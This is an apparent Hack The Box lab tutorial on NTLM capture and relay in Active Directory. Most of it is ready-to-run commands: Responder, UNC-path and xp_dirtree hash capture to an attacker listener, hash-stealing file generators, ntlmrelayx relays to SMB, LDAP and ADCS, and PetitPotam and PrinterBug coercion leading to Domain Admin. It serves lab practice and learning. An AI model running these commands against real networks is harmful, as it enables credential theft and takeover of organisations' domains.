NTLM capture and relay: Responder, ntlmrelayx and coercion with PetitPotam

Windows authenticates on its own, without asking, to almost any network resource: a UNC path (\\10.10.14.5\x), a shortcut, a lookup for a name that does not exist. If you are the one receiving that authentication, you have two options: capture the NetNTLMv2 hash to crack it, or relay it to another service and act as that account. That is NTLM capture and relay, one of the most frequent techniques on the catalogue's AD machines.

1. Capturing with Responder

On an internal network, Responder answers name lookups nobody else resolves (LLMNR, NBT-NS, mDNS) and runs fake SMB and HTTP servers:

sudo responder -I tun0

On HTB there is almost never broadcast traffic reaching you; what works is triggering the authentication from the machine:

# In an LFI, SSRF or upload that accepts UNC paths
\\10.10.14.5\x

# In MSSQL (MSSQL attacks guide)
EXEC master..xp_dirtree '\\10.10.14.5\x';

# A site that include()s or file_get_contents() a path you control
http://target.htb/?page=//10.10.14.5/x

The MSSQL side is covered in full in the MSSQL attacks guide. The hash that pops up in Responder (user::DOMAIN:1122...:...) is cracked with hashcat -m 5600 (hash cracking guide). It is not usable for pass-the-hash: it is a challenge response, not the NT hash.

Hash-stealing files

If you have write access to a share other users browse, drop a file pointing at your IP. Windows Explorer processes it just by viewing the folder:

nxc smb 10.10.10.10 -u user -p 'Password1' -M slinky -o SERVER=10.10.14.5 NAME=report
nxc smb 10.10.10.10 -u user -p 'Password1' -M scuffy -o SERVER=10.10.14.5 NAME=report
# ntlm_theft builds many formats (.url, .lnk, .scf, .library-ms, .docx...)
python3 ntlm_theft.py -g all -s 10.10.14.5 -f report

2. Can it be relayed?

Relaying beats cracking (it does not depend on the password), but there are rules:

You can never relay an SMB authentication back to the machine it came from (reflection protection).

# Which hosts do not require SMB signing
nxc smb 10.10.10.0/24 --gen-relay-list targets.txt
# And LDAP's status
nxc ldap 10.10.10.10 -u user -p 'Password1' -M ldap-checker

3. ntlmrelayx

Turn off SMB and HTTP in Responder (Responder.conf) so they do not fight over the ports, then start ntlmrelayx:

# To SMB: dump the SAM or run a command
impacket-ntlmrelayx -tf targets.txt -smb2support
impacket-ntlmrelayx -tf targets.txt -smb2support -c 'powershell -enc ...'
impacket-ntlmrelayx -tf targets.txt -smb2support -i         # gives you an SMB shell on 127.0.0.1:11000

# To LDAP(S): create a computer and set RBCD on the authenticating machine
impacket-ntlmrelayx -t ldaps://dc01.corp.local --delegate-access -smb2support
# Shadow Credentials on the incoming account
impacket-ntlmrelayx -t ldap://dc01.corp.local --shadow-credentials --shadow-target 'WEB01$'

# To ADCS (ESC8)
impacket-ntlmrelayx -t http://ca.corp.local/certsrv/certfnsh.asp --adcs --template DomainController -smb2support

4. Coercion: forcing a machine to authenticate

Some Windows RPC functions make a computer connect to whatever path you give it, authenticating as the computer account (DC01$). With any domain user (and sometimes without one), you can call them:

# PetitPotam (MS-EFSR)
python3 PetitPotam.py -u user -p 'Password1' -d corp.local 10.10.14.5 dc01.corp.local

# PrinterBug (MS-RPRN, needs the Spooler service)
python3 printerbug.py corp.local/user:'Password1'@dc01.corp.local 10.10.14.5

# Coercer tries every known method
coercer coerce -u user -p 'Password1' -d corp.local -l 10.10.14.5 -t dc01.corp.local

# NetExec: check and fire
nxc smb dc01.corp.local -u user -p 'Password1' -M coerce_plus -o LISTENER=10.10.14.5

Coercion plus a relay to ADCS (ESC8) or to another DC's LDAP is one of the most direct chains to Domain Admin. Coercion towards a computer with unconstrained delegation is the other.

Common errors

• Responder says port 445 is in use: you have impacket-smbserver or another Responder open. sudo ss -tlnp | grep 445.
• The authentication arrives but the SMB relay fails with STATUS_ACCESS_DENIED: the account is not an admin on the target. Relay it to LDAP or another host.
• The LDAP relay says signing is required: the source was SMB. Coerce the authentication over HTTP (WebDAV, with @80/x in the path) or use LDAPS if there is no channel binding.
• The coercion does nothing: that method is patched. Try another with Coercer; the Spooler is usually disabled on modern DCs.

Examples from the catalogue

Querier (xp_dirtree from MSSQL and crack the hash), Driver (an .scf through a file upload), Sizzle (a file in a writable share), Mailing (a link in an email that Outlook opens) and Escape (MSSQL, then ADCS).

What next

With a cracked hash, go back to AD enumeration with the new user. With a relay that gives you access to a machine, dump its credentials (credential dumping). The Active Directory cheat sheet has every ntlmrelayx variant.